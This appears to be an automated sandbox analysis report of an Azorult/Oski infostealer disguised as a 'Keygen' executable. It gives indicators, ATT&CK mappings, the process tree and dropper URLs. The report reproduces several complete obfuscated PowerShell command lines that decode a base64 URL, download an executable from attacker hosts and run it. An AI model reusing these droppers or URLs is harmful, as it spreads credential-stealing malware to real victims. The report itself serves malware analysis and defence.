azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
21s
max time network
159s
platform
windows10_x64
resource
win10v200722
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (35) — копия.exe

Score

10^/10

azorult oski discovery infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

9 3292 powershell.exe
11 3292 powershell.exe
14 744 powershell.exe
16 744 powershell.exe
21 4360 powershell.exe
27 4360 powershell.exe
Downloads MZ/PE file

flow	pid	process
9	3292	powershell.exe
11	3292	powershell.exe
14	744	powershell.exe
16	744	powershell.exe
21	4360	powershell.exe
27	4360	powershell.exe

Executes dropped EXE 12 IoCs

Processes:

Keygen.exemia.exehju.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemia.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemqv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemqv.exe

pid	process
748	Keygen.exe
4848	mia.exe
4900	hju.exe
5032	FVjhgtresfdbv.exe
5044	NHtrdsaghfDF.exe
5104	mia.exe
4100	FVjhgtresfdbv.exe
4132	NHtrdsaghfDF.exe
3516	mqv.exe
4744	FVjhgtresfdbv.exe
3924	NHtrdsaghfDF.exe
4812	mqv.exe

Loads dropped DLL 3 IoCs

Processes:

FVjhgtresfdbv.exe

pid process

4100 FVjhgtresfdbv.exe
4100 FVjhgtresfdbv.exe
4100 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
4100	FVjhgtresfdbv.exe
4100	FVjhgtresfdbv.exe
4100	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

mia.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemqv.exeFVjhgtresfdbv.exe

description	pid	process	target process
PID 4848 set thread context of 5104	4848	mia.exe	mia.exe
PID 5032 set thread context of 4100	5032	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 5044 set thread context of 4132	5044	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 3516 set thread context of 4812	3516	mqv.exe	mqv.exe
PID 4744 set thread context of 4832	4744	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

FVjhgtresfdbv.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2456 timeout.exe
1356 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000_Classes\Local Settings cmd.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

pid	process
2456	timeout.exe
1356	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3740	powershell.exe
3292	powershell.exe
744	powershell.exe
3172	powershell.exe
3292	powershell.exe
3740	powershell.exe
744	powershell.exe
3172	powershell.exe
3292	powershell.exe
3740	powershell.exe
3172	powershell.exe
744	powershell.exe
4360	powershell.exe
4360	powershell.exe
4576	powershell.exe
4576	powershell.exe
4360	powershell.exe
4576	powershell.exe
4360	powershell.exe
4576	powershell.exe

Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

mia.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemqv.exeFVjhgtresfdbv.exe

pid process

4848 mia.exe
5032 FVjhgtresfdbv.exe
5044 NHtrdsaghfDF.exe
3516 mqv.exe
4744 FVjhgtresfdbv.exe

pid	process
4848	mia.exe
5032	FVjhgtresfdbv.exe
5044	NHtrdsaghfDF.exe
3516	mqv.exe
4744	FVjhgtresfdbv.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3740	powershell.exe
Token: SeDebugPrivilege	3292	powershell.exe
Token: SeDebugPrivilege	744	powershell.exe
Token: SeDebugPrivilege	3172	powershell.exe
Token: SeDebugPrivilege	4360	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exemia.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemqv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

748 Keygen.exe
4848 mia.exe
5032 FVjhgtresfdbv.exe
5044 NHtrdsaghfDF.exe
3516 mqv.exe
4744 FVjhgtresfdbv.exe
3924 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (35) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exemia.exe

description	pid	process	target process
PID 3064 wrote to memory of 1208	3064	Keygen — копия (35) — копия.exe	cmd.exe
PID 3064 wrote to memory of 1208	3064	Keygen — копия (35) — копия.exe	cmd.exe
PID 3064 wrote to memory of 1208	3064	Keygen — копия (35) — копия.exe	cmd.exe
PID 1208 wrote to memory of 748	1208	cmd.exe	Keygen.exe
PID 1208 wrote to memory of 748	1208	cmd.exe	Keygen.exe
PID 1208 wrote to memory of 748	1208	cmd.exe	Keygen.exe
PID 1208 wrote to memory of 2072	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 2072	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 2072	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 2324	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 2324	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 2324	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 2456	1208	cmd.exe	timeout.exe
PID 1208 wrote to memory of 2456	1208	cmd.exe	timeout.exe
PID 1208 wrote to memory of 2456	1208	cmd.exe	timeout.exe
PID 2324 wrote to memory of 3740	2324	mshta.exe	powershell.exe
PID 2324 wrote to memory of 3740	2324	mshta.exe	powershell.exe
PID 2324 wrote to memory of 3740	2324	mshta.exe	powershell.exe
PID 2072 wrote to memory of 3292	2072	mshta.exe	powershell.exe
PID 2072 wrote to memory of 3292	2072	mshta.exe	powershell.exe
PID 2072 wrote to memory of 3292	2072	mshta.exe	powershell.exe
PID 1208 wrote to memory of 196	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 196	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 196	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 2964	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 2964	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 2964	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 1356	1208	cmd.exe	timeout.exe
PID 1208 wrote to memory of 1356	1208	cmd.exe	timeout.exe
PID 1208 wrote to memory of 1356	1208	cmd.exe	timeout.exe
PID 2964 wrote to memory of 3172	2964	mshta.exe	powershell.exe
PID 2964 wrote to memory of 3172	2964	mshta.exe	powershell.exe
PID 2964 wrote to memory of 3172	2964	mshta.exe	powershell.exe
PID 196 wrote to memory of 744	196	mshta.exe	powershell.exe
PID 196 wrote to memory of 744	196	mshta.exe	powershell.exe
PID 196 wrote to memory of 744	196	mshta.exe	powershell.exe
PID 1208 wrote to memory of 4288	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 4288	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 4288	1208	cmd.exe	mshta.exe
PID 4288 wrote to memory of 4360	4288	mshta.exe	powershell.exe
PID 4288 wrote to memory of 4360	4288	mshta.exe	powershell.exe
PID 4288 wrote to memory of 4360	4288	mshta.exe	powershell.exe
PID 1208 wrote to memory of 4440	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 4440	1208	cmd.exe	mshta.exe
PID 1208 wrote to memory of 4440	1208	cmd.exe	mshta.exe
PID 4440 wrote to memory of 4576	4440	mshta.exe	powershell.exe
PID 4440 wrote to memory of 4576	4440	mshta.exe	powershell.exe
PID 4440 wrote to memory of 4576	4440	mshta.exe	powershell.exe
PID 3292 wrote to memory of 4848	3292	powershell.exe	mia.exe
PID 3292 wrote to memory of 4848	3292	powershell.exe	mia.exe
PID 3292 wrote to memory of 4848	3292	powershell.exe	mia.exe
PID 744 wrote to memory of 4900	744	powershell.exe	hju.exe
PID 744 wrote to memory of 4900	744	powershell.exe	hju.exe
PID 744 wrote to memory of 4900	744	powershell.exe	hju.exe
PID 4848 wrote to memory of 5032	4848	mia.exe	FVjhgtresfdbv.exe
PID 4848 wrote to memory of 5032	4848	mia.exe	FVjhgtresfdbv.exe
PID 4848 wrote to memory of 5032	4848	mia.exe	FVjhgtresfdbv.exe
PID 4848 wrote to memory of 5044	4848	mia.exe	NHtrdsaghfDF.exe
PID 4848 wrote to memory of 5044	4848	mia.exe	NHtrdsaghfDF.exe
PID 4848 wrote to memory of 5044	4848	mia.exe	NHtrdsaghfDF.exe
PID 4848 wrote to memory of 5104	4848	mia.exe	mia.exe
PID 4848 wrote to memory of 5104	4848	mia.exe	mia.exe
PID 4848 wrote to memory of 5104	4848	mia.exe	mia.exe
PID 4848 wrote to memory of 5104	4848	mia.exe	mia.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (35) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (35) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3064

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5653.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (35) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1208

C:\Users\Admin\AppData\Local\Temp\5653.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:748

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5653.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2072

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3292

C:\Users\Public\mia.exe
"C:\Users\Public\mia.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4848

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5032

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4100

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5044

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4132

C:\Users\Public\mia.exe
"C:\Users\Public\mia.exe"
6⤵
- Executes dropped EXE
PID:5104

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5653.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2324

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3740

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2456

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5653.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:196

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:744

C:\Users\Public\hju.exe
"C:\Users\Public\hju.exe"
5⤵
- Executes dropped EXE
PID:4900

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5653.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2964

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3172

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1356

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5653.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4360

C:\Users\Public\mqv.exe
"C:\Users\Public\mqv.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3516

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4744

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
PID:4832

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3924

C:\Users\Public\mqv.exe
"C:\Users\Public\mqv.exe"
6⤵
- Executes dropped EXE
PID:4812

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5653.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4440

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4576

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\5653.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\5653.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\5653.tmp\b.hta

